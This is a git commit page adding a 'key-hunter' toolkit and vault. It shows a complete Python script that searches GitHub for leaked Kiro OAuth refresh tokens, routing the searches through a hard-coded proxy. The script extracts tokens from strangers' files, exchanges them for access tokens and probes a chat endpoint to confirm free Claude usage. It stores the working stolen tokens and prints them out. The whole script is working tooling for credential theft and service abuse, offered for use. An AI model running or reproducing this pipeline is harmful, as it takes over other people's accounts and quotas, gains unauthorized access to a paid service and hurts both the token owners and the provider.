Add LLM key-hunter toolkit, vault, and skill
- tools/scripts/llm-key-hunter: GitHub leak hunting pipeline (hunt_*, pivot miner, two-layer verify/content caches, per-provider verification) - usable_keys: verified key vault across 12 providers (deepseek, minimax, volcanoark, longcat, codingplan, zhipu free-tier, mimo, siliconflow, etc.) - .grok/skills/llm-key-hunter: operator skill for the hunt/verify/vault flow - NewAPI channel import scripts and CDP capture helpers - Result verdict buckets (excluding multi-GB blob caches and dedup dumps)
This commit is contained in:
1 parent
a3f698806b
commit
5d215e1649
684 files changed
+133838
No files matched your search
@@ -0,0 +1,458 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Kiro (AWS AI IDE) full hunter.
|
||||
|
||||
Kiro uses OAuth refresh tokens rather than static API keys. A valid refresh token
|
||||
can be exchanged at https://prod.us-east-1.auth.desktop.kiro.dev/refreshToken for a
|
||||
short-lived access_token, which drives Claude Sonnet/Haiku 4.5 via the
|
||||
q.us-east-1.amazonaws.com/generateAssistantResponse endpoint — for free.
|
||||
|
||||
Pipeline:
|
||||
1. GitHub code search (30+ Kiro-specific queries), routed through a CN proxy
|
||||
that can reach api.github.com (GFW blocks it from this host).
|
||||
2. Fetch raw files and extract:
|
||||
- KIRO_REFRESH_TOKEN / KIRO_ACCESS_TOKEN env values
|
||||
- KIRO_AUTH_TOKEN JSON arrays: [{"auth":"Social","refreshToken":"..."},...]
|
||||
- refreshToken/refresh_token fields in .json/.env/config files near "kiro"
|
||||
3. Verify each refresh token via the refresh endpoint.
|
||||
200 + access_token -> USABLE (a fresh access token is the prize)
|
||||
401 -> DEAD
|
||||
anything else -> kept (NO_ACCESS / UNKNOWN / NO_BALANCE per LO's rule)
|
||||
4. For USABLE tokens, optionally do a live chat probe to confirm credits.
|
||||
|
||||
Outputs results/kiro/{usable,no_balance,no_access,unknown,dead,all_non_401}.txt
|
||||
Each USABLE line stores: refreshToken|source|access_token|expires_in|detail
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import os
|
||||
import re
|
||||
import subprocess
|
||||
import sys
|
||||
import time
|
||||
import uuid
|
||||
import urllib.request
|
||||
import urllib.error
|
||||
import urllib.parse
|
||||
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||
from pathlib import Path
|
||||
|
||||
HERE = Path(__file__).parent
|
||||
RESULTS_DIR = HERE / "results" / "kiro"
|
||||
RESULTS_DIR.mkdir(parents=True, exist_ok=True)
|
||||
EXTRACTED_FILE = RESULTS_DIR / "extracted_tokens.txt"
|
||||
|
||||
# GitHub API is GFW-blocked; route through a CN proxy known to reach it.
|
||||
GH_PROXY = os.environ.get("GH_PROXY", "http://114.111.19.228:3389")
|
||||
|
||||
REFRESH_URL = "https://prod.us-east-1.auth.desktop.kiro.dev/refreshToken"
|
||||
CHAT_URL = "https://q.us-east-1.amazonaws.com/generateAssistantResponse"
|
||||
|
||||
UA = "curl/8.5.0"
|
||||
# Kiro refresh tokens are JWTs (eyJ...eyJ...sig with two dots) or long opaque
|
||||
# base64url strings. Must include '.' for JWTs; be permissive but avoid placeholders.
|
||||
TOKEN_RE = re.compile(r"[A-Za-z0-9_\-]{20,}\.[A-Za-z0-9_\-]{20,}\.[A-Za-z0-9_\-]{10,}")
|
||||
OPAQUE_RE = re.compile(r"[A-Za-z0-9_\-]{120,}")
|
||||
PLACEHOLDER = ("your-", "example", "xxxx", "placeholder", "changeme",
|
||||
"replace", "dummy", "test-token", "<", "...", "refreshtoken",
|
||||
"accesstoken", "clientid", "clientsecret")
|
||||
|
||||
SEARCH_QUERIES = [
|
||||
"KIRO_REFRESH_TOKEN",
|
||||
"KIRO_ACCESS_TOKEN",
|
||||
"KIRO_AUTH_TOKEN",
|
||||
'"kiro.dev/refreshToken"',
|
||||
'"prod.us-east-1.auth.desktop.kiro.dev"',
|
||||
'"auth.desktop.kiro.dev" refreshToken',
|
||||
'"refreshToken" "kiro" extension:json',
|
||||
'"refreshToken" "kiro" extension:env',
|
||||
'"refreshToken" "kiro" extension:yaml',
|
||||
'"refreshToken" "kiro" extension:yml',
|
||||
'"refreshToken" "kiro" extension:toml',
|
||||
'"refresh_token" "kiro" extension:py',
|
||||
'"refresh_token" "kiro" extension:js',
|
||||
'"refresh_token" "kiro" extension:ts',
|
||||
'"refresh_token" "kiro" extension:go',
|
||||
'"kiro" "accessToken" "refreshToken" extension:json',
|
||||
'KIRO_AUTH_TOKEN extension:env',
|
||||
'KIRO_AUTH_TOKEN extension:json',
|
||||
'KIRO_REFRESH_TOKEN extension:env',
|
||||
'KIRO_REFRESH_TOKEN extension:json',
|
||||
'KIRO_REFRESH_TOKEN extension:yaml',
|
||||
'"kiro2api" refreshToken',
|
||||
'"kiro" filename:docker-compose',
|
||||
'"KIRO_REFRESH_TOKEN=" filename:.env',
|
||||
'"KIRO_AUTH_TOKEN=" filename:.env',
|
||||
'"kiro" "Social" "refreshToken"',
|
||||
'"kiro" "IdC" "refreshToken" "clientId"',
|
||||
'"q.us-east-1.amazonaws.com"',
|
||||
'"generateAssistantResponse" token',
|
||||
'"KiroIDE" refreshToken',
|
||||
'"kiro-stack" refresh',
|
||||
'"proxykiro" refresh',
|
||||
'"2-api" kiro refreshToken',
|
||||
]
|
||||
|
||||
|
||||
_gh_opener = None
|
||||
def gh_opener():
|
||||
global _gh_opener
|
||||
if _gh_opener is None:
|
||||
handler = urllib.request.ProxyHandler({"http": GH_PROXY, "https": GH_PROXY}) if GH_PROXY else urllib.request.ProxyHandler({})
|
||||
_gh_opener = urllib.request.build_opener(handler)
|
||||
return _gh_opener
|
||||
|
||||
|
||||
def github_token():
|
||||
tok = os.environ.get("GITHUB_TOKEN") or os.environ.get("GH_TOKEN")
|
||||
if tok:
|
||||
return tok
|
||||
try:
|
||||
out = subprocess.run(["gh", "auth", "token"], capture_output=True, text=True, timeout=10)
|
||||
if out.returncode == 0:
|
||||
return out.stdout.strip()
|
||||
except FileNotFoundError:
|
||||
pass
|
||||
hosts = Path.home() / ".config" / "gh" / "hosts.yml"
|
||||
if hosts.exists():
|
||||
for line in hosts.read_text().splitlines():
|
||||
if line.strip().startswith("oauth_token:"):
|
||||
return line.split(":", 1)[1].strip()
|
||||
return None
|
||||
|
||||
|
||||
def gh_api_search(query, token, per_page=100):
|
||||
headers = {"Accept": "application/vnd.github+json", "User-Agent": "kiro-hunter"}
|
||||
if token:
|
||||
headers["Authorization"] = f"Bearer {token}"
|
||||
for page in range(1, 11):
|
||||
url = ("https://api.github.com/search/code"
|
||||
f"?q={urllib.parse.quote(query)}&per_page={per_page}&page={page}")
|
||||
req = urllib.request.Request(url, headers=headers)
|
||||
try:
|
||||
with gh_opener().open(req, timeout=30) as resp:
|
||||
data = json.loads(resp.read())
|
||||
except urllib.error.HTTPError as e:
|
||||
if e.code in (403, 429):
|
||||
reset = e.headers.get("X-RateLimit-Reset")
|
||||
wait = max(int(reset) - int(time.time()), 5) if reset else 30
|
||||
print(f" rate-limited, waiting {wait}s...", file=sys.stderr, flush=True)
|
||||
time.sleep(wait + 1)
|
||||
continue
|
||||
if e.code == 422:
|
||||
return
|
||||
print(f" HTTP {e.code} for {query!r}", file=sys.stderr)
|
||||
return
|
||||
except Exception as e:
|
||||
print(f" network error: {e}", file=sys.stderr, flush=True)
|
||||
return
|
||||
items = data.get("items", [])
|
||||
if not items:
|
||||
return
|
||||
for it in items:
|
||||
yield it
|
||||
if len(items) < per_page:
|
||||
return
|
||||
time.sleep(2.2 if token else 7)
|
||||
|
||||
|
||||
def to_raw_url(u):
|
||||
return u.replace("github.com", "raw.githubusercontent.com").replace("/blob/", "/")
|
||||
|
||||
|
||||
def fetch_raw(url):
|
||||
req = urllib.request.Request(url, headers={"User-Agent": "Mozilla/5.0"})
|
||||
try:
|
||||
with gh_opener().open(req, timeout=20) as resp:
|
||||
return resp.read().decode("utf-8", errors="replace")
|
||||
except Exception:
|
||||
return ""
|
||||
|
||||
|
||||
def plausible_token(t):
|
||||
if not t or len(t) < 60:
|
||||
return False
|
||||
low = t.lower()
|
||||
if any(p in low for p in PLACEHOLDER):
|
||||
return False
|
||||
# must look like a JWT (two dots) or a long opaque base64url secret
|
||||
is_jwt = t.count(".") == 2 and all(part for part in t.split("."))
|
||||
is_opaque = ("." not in t) and len(t) >= 120 and re.fullmatch(r"[A-Za-z0-9_\-]+", t)
|
||||
if not (is_jwt or is_opaque):
|
||||
return False
|
||||
# reject other-provider static keys that are too short / wrong shape
|
||||
if re.fullmatch(r"[a-f0-9]{32}", t):
|
||||
return False
|
||||
if t.startswith("sk-") and len(t) < 60:
|
||||
return False
|
||||
return True
|
||||
|
||||
|
||||
def extract_tokens(content):
|
||||
"""Return list of (refresh_token, auth_method, client_id, client_secret)."""
|
||||
found = {} # token -> tuple(auth, cid, csec)
|
||||
|
||||
def add(tok, auth="social", cid=None, csec=None):
|
||||
tok = tok.strip().strip("'\"").rstrip(",;")
|
||||
if plausible_token(tok) and tok not in found:
|
||||
found[tok] = (auth, cid, csec)
|
||||
|
||||
# 1) KIRO_AUTH_TOKEN JSON array: [{"auth":"Social","refreshToken":"..."}, ...]
|
||||
for m in re.finditer(r"KIRO_AUTH_TOKEN[^A-Za-z0-9]{0,6}(\[.*?\])", content, re.S):
|
||||
chunk = m.group(1)
|
||||
try:
|
||||
arr = json.loads(chunk)
|
||||
except Exception:
|
||||
# try to find JSON objects within
|
||||
arr = []
|
||||
for obj in re.findall(r"\{[^{}]*\}", chunk):
|
||||
try:
|
||||
arr.append(json.loads(obj))
|
||||
except Exception:
|
||||
pass
|
||||
for item in arr if isinstance(arr, list) else []:
|
||||
if not isinstance(item, dict):
|
||||
continue
|
||||
rt = item.get("refreshToken") or item.get("refresh_token")
|
||||
if rt:
|
||||
auth = str(item.get("auth", "social")).lower()
|
||||
add(rt, auth, item.get("clientId"), item.get("clientSecret"))
|
||||
|
||||
# 2) KIRO_REFRESH_TOKEN=... / REFRESH_TOKEN=... (JWT or opaque)
|
||||
for m in re.finditer(r"(?:KIRO_)?REFRESH_TOKEN\s*[=:]\s*['\"]?([A-Za-z0-9_\-\.]+)['\"]?", content):
|
||||
add(m.group(1), "social")
|
||||
|
||||
# 3) "refreshToken": "..." or refresh_token = "..." (JWTs include dots)
|
||||
for m in re.finditer(r'"?refresh[_Tt]oken"?\s*[=:]\s*"([A-Za-z0-9_\-\.]{60,})"', content):
|
||||
add(m.group(1), "social")
|
||||
|
||||
# 4) Builder ID / IdC: look for clientId+clientSecret+refreshToken proximity
|
||||
for m in re.finditer(r'\{[^{}]*?"refreshToken"\s*:\s*"([^"]+)"[^{}]*?\}', content, re.S):
|
||||
chunk = m.group(0)
|
||||
cid = re.search(r'"clientId"\s*:\s*"([^"]+)"', chunk)
|
||||
csec = re.search(r'"clientSecret"\s*:\s*"([^"]+)"', chunk)
|
||||
rt = re.search(r'"refreshToken"\s*:\s*"([^"]+)"', chunk)
|
||||
if rt:
|
||||
add(rt.group(1), "idc" if (cid and csec) else "social",
|
||||
cid.group(1) if cid else None,
|
||||
csec.group(1) if csec else None)
|
||||
|
||||
return [(tok, *meta) for tok, meta in found.items()]
|
||||
|
||||
|
||||
def http_post_json(url, body, headers, timeout=30, opener=None):
|
||||
h = {"User-Agent": UA, "Accept": "*/*", "Content-Type": "application/json", **headers}
|
||||
data = json.dumps(body).encode()
|
||||
req = urllib.request.Request(url, data=data, headers=h, method="POST")
|
||||
op = opener or urllib.request.build_opener()
|
||||
try:
|
||||
with op.open(req, timeout=timeout) as resp:
|
||||
return resp.getcode(), resp.read().decode("utf-8", "replace")
|
||||
except urllib.error.HTTPError as e:
|
||||
try:
|
||||
return e.code, e.read().decode("utf-8", "replace")
|
||||
except Exception:
|
||||
return e.code, ""
|
||||
except Exception as e:
|
||||
return 0, f"network: {type(e).__name__}: {e}"
|
||||
|
||||
|
||||
def refresh_social(tok, machine_id):
|
||||
return http_post_json(REFRESH_URL,
|
||||
{"refreshToken": tok},
|
||||
{"User-Agent": f"KiroIDE-1.6.0-{machine_id}"})
|
||||
|
||||
|
||||
def refresh_idc(tok, cid, csec, region="us-east-1"):
|
||||
url = f"https://oidc.{region}.amazonaws.com/token"
|
||||
return http_post_json(url, {
|
||||
"clientId": cid, "clientSecret": csec,
|
||||
"refreshToken": tok, "grantType": "refresh_token",
|
||||
}, {"x-amz-user-agent": "aws-sdk-js/3.738.0 m/E KiroIDE"})
|
||||
|
||||
|
||||
def chat_probe(access_token, machine_id):
|
||||
"""Minimal generateAssistantResponse request; classify by HTTP code."""
|
||||
conv = str(uuid.uuid4())
|
||||
cont = str(uuid.uuid4())
|
||||
body = {
|
||||
"conversationState": {
|
||||
"agentContinuationId": cont,
|
||||
"agentTaskType": "vibe",
|
||||
"chatTriggerType": "MANUAL",
|
||||
"conversationId": conv,
|
||||
"currentMessage": {
|
||||
"userInputMessage": {
|
||||
"content": "hi",
|
||||
"modelId": "claude-haiku-4.5",
|
||||
"origin": "AI_EDITOR",
|
||||
}
|
||||
},
|
||||
"history": [],
|
||||
}
|
||||
}
|
||||
headers = {
|
||||
"x-amzn-codewhisperer-optout": "true",
|
||||
"x-amzn-kiro-agent-mode": "vibe",
|
||||
"Authorization": f"Bearer {access_token}",
|
||||
"Host": "q.us-east-1.amazonaws.com",
|
||||
"amz-sdk-invocation-id": str(uuid.uuid4()),
|
||||
"amz-sdk-request": "attempt=1; max=1",
|
||||
"User-Agent": f"aws-sdk-js/1.0.27 KiroIDE-1.6.0-{machine_id}",
|
||||
}
|
||||
# chat goes through the proxy too (amazonaws may be flaky from CN)
|
||||
op = gh_opener()
|
||||
return http_post_json(CHAT_URL, body, headers, timeout=40, opener=op)
|
||||
|
||||
|
||||
RANK = {"USABLE": 4, "NO_BALANCE": 3, "NO_ACCESS": 2, "UNKNOWN": 1, "DEAD": 0}
|
||||
|
||||
|
||||
def verify_token(row):
|
||||
"""row = (refresh_token, auth, cid, csec, source)."""
|
||||
tok, auth, cid, csec, src = row
|
||||
machine_id = uuid.uuid4().hex
|
||||
# 1. refresh
|
||||
if auth in ("idc", "builder-id", "builder_id") and cid and csec:
|
||||
code, body = refresh_idc(tok, cid, csec)
|
||||
else:
|
||||
code, body = refresh_social(tok, machine_id)
|
||||
|
||||
access = None
|
||||
expires = None
|
||||
if code == 200:
|
||||
try:
|
||||
j = json.loads(body)
|
||||
access = j.get("accessToken") or j.get("access_token")
|
||||
expires = j.get("expiresIn") or j.get("expires_in")
|
||||
except Exception:
|
||||
pass
|
||||
if access:
|
||||
# 2. live chat probe (best effort)
|
||||
ccode, cbody = chat_probe(access, machine_id)
|
||||
if ccode == 200:
|
||||
return "USABLE", f"refresh OK ({expires}s); chat 200", access, expires
|
||||
if ccode in (402, 429):
|
||||
return "NO_BALANCE", f"refresh OK; chat {ccode} (quota/rate): {cbody[:120]}", access, expires
|
||||
if ccode == 401:
|
||||
# access token rejected despite refresh — odd; keep as no_access
|
||||
return "NO_ACCESS", f"refresh OK; chat 401: {cbody[:120]}", access, expires
|
||||
if ccode == 0:
|
||||
return "NO_ACCESS", f"refresh OK; chat net: {cbody[:120]}", access, expires
|
||||
return "NO_ACCESS", f"refresh OK; chat HTTP {ccode}: {cbody[:120]}", access, expires
|
||||
else:
|
||||
return "NO_ACCESS", f"refresh 200 but no access_token: {body[:140]}", None, None
|
||||
if code == 401:
|
||||
return "DEAD", f"refresh 401: {body[:120]}", None, None
|
||||
if code in (400, 403):
|
||||
# 400 = malformed/revoked shape; 403 = disabled. Keep if not explicit 401.
|
||||
return "NO_ACCESS", f"refresh {code}: {body[:140]}", None, None
|
||||
if code in (402, 429):
|
||||
return "NO_BALANCE", f"refresh {code}: {body[:140]}", None, None
|
||||
if code == 0:
|
||||
return "UNKNOWN", body[:160], None, None
|
||||
return "NO_ACCESS", f"refresh HTTP {code}: {body[:140]}", None, None
|
||||
|
||||
|
||||
def main():
|
||||
ap = argparse.ArgumentParser()
|
||||
ap.add_argument("--verify-only", action="store_true")
|
||||
ap.add_argument("--workers", type=int, default=15)
|
||||
ap.add_argument("--limit", type=int, default=0)
|
||||
args = ap.parse_args()
|
||||
|
||||
tokens = {} # refresh_token -> (auth, cid, csec, source)
|
||||
|
||||
if args.verify_only and EXTRACTED_FILE.exists():
|
||||
for line in EXTRACTED_FILE.read_text().splitlines():
|
||||
parts = line.split("|")
|
||||
if len(parts) >= 5:
|
||||
tok, auth, cid, csec, src = parts[0], parts[1], parts[2], parts[3], parts[4]
|
||||
tokens[tok] = (auth, cid or None, csec or None, src)
|
||||
print(f"--verify-only: {len(tokens)} tokens")
|
||||
else:
|
||||
token = github_token()
|
||||
print(f"GH proxy: {GH_PROXY or 'none'}; token: {'yes' if token else 'NO'}")
|
||||
print("\n=== Stage 1: GitHub search ===")
|
||||
candidates = {}
|
||||
for i, q in enumerate(SEARCH_QUERIES, 1):
|
||||
print(f" [{i:2d}/{len(SEARCH_QUERIES)}] {q}", flush=True)
|
||||
try:
|
||||
for it in gh_api_search(q, token):
|
||||
u = it.get("html_url", "")
|
||||
if u and u not in candidates:
|
||||
candidates[u] = it.get("repository", {}).get("full_name", "?")
|
||||
except Exception as e:
|
||||
print(f" error: {e}", file=sys.stderr)
|
||||
print(f" candidate files: {len(candidates)}")
|
||||
|
||||
print("\n=== Stage 2: fetch raw & extract refresh tokens ===")
|
||||
fetched = 0
|
||||
with ThreadPoolExecutor(max_workers=20) as pool:
|
||||
futs = {pool.submit(fetch_raw, to_raw_url(u)): u for u in candidates}
|
||||
for fut in as_completed(futs):
|
||||
u = futs[fut]
|
||||
fetched += 1
|
||||
try:
|
||||
content = fut.result()
|
||||
except Exception:
|
||||
content = ""
|
||||
for tok, auth, cid, csec in extract_tokens(content):
|
||||
if tok not in tokens:
|
||||
tokens[tok] = (auth, cid, csec, u)
|
||||
if fetched % 100 == 0:
|
||||
print(f" fetched {fetched}/{len(candidates)}, tokens={len(tokens)}", flush=True)
|
||||
print(f" unique refresh tokens: {len(tokens)}")
|
||||
|
||||
with open(EXTRACTED_FILE, "w") as f:
|
||||
for tok, (auth, cid, csec, src) in sorted(tokens.items()):
|
||||
f.write(f"{tok}|{auth}|{cid or ''}|{csec or ''}|{src}\n")
|
||||
|
||||
rows = [(tok, *meta) for tok, meta in tokens.items()]
|
||||
if args.limit > 0:
|
||||
rows = rows[:args.limit]
|
||||
|
||||
print(f"\n=== Stage 3: verify {len(rows)} tokens (workers={args.workers}) ===")
|
||||
buckets = {"USABLE": [], "NO_BALANCE": [], "NO_ACCESS": [], "UNKNOWN": [], "DEAD": []}
|
||||
start = time.time()
|
||||
done = 0
|
||||
with ThreadPoolExecutor(max_workers=args.workers) as pool:
|
||||
futs = {pool.submit(verify_token, r): r for r in rows}
|
||||
for fut in as_completed(futs):
|
||||
r = futs[fut]
|
||||
tok, auth, cid, csec, src = r
|
||||
done += 1
|
||||
try:
|
||||
v, detail, access, expires = fut.result()
|
||||
except Exception as e:
|
||||
v, detail, access, expires = "UNKNOWN", f"exc:{e}", None, None
|
||||
buckets[v].append((tok, src, auth, access, expires, detail))
|
||||
if done % 20 == 0:
|
||||
el = time.time() - start
|
||||
print(f" [{done:4d}/{len(rows)}] " +
|
||||
" ".join(f"{k.lower()}={len(buckets[k])}" for k in buckets) +
|
||||
f" ({done/el:.1f}/s)", flush=True)
|
||||
|
||||
for name, items in buckets.items():
|
||||
path = RESULTS_DIR / f"{name.lower()}.txt"
|
||||
with open(path, "w") as f:
|
||||
for tok, src, auth, access, expires, detail in items:
|
||||
f.write(f"{tok}|{src}|auth={auth}|access={access or ''}|expires={expires or ''}|{detail}\n")
|
||||
print(f" {name:11s}: {len(items):4d} -> {path.name}")
|
||||
|
||||
with open(RESULTS_DIR / "all_non_401.txt", "w") as f:
|
||||
for name in ("USABLE", "NO_BALANCE", "NO_ACCESS", "UNKNOWN"):
|
||||
for tok, src, auth, access, expires, detail in buckets[name]:
|
||||
f.write(f"{name}|{tok}|{src}|auth={auth}|access={access or ''}|{detail}\n")
|
||||
|
||||
if buckets["USABLE"]:
|
||||
print("\n=== USABLE KIRO TOKENS (free Claude Sonnet/Haiku 4.5!) ===")
|
||||
for tok, src, auth, access, expires, detail in buckets["USABLE"]:
|
||||
print(f" refresh: {tok[:40]}...{tok[-8:]}")
|
||||
print(f" access : {access[:50] if access else '?'}... (expires_in={expires}s)")
|
||||
print(f" src : {src}")
|
||||
print(f" {detail}\n")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in new issue
Block a user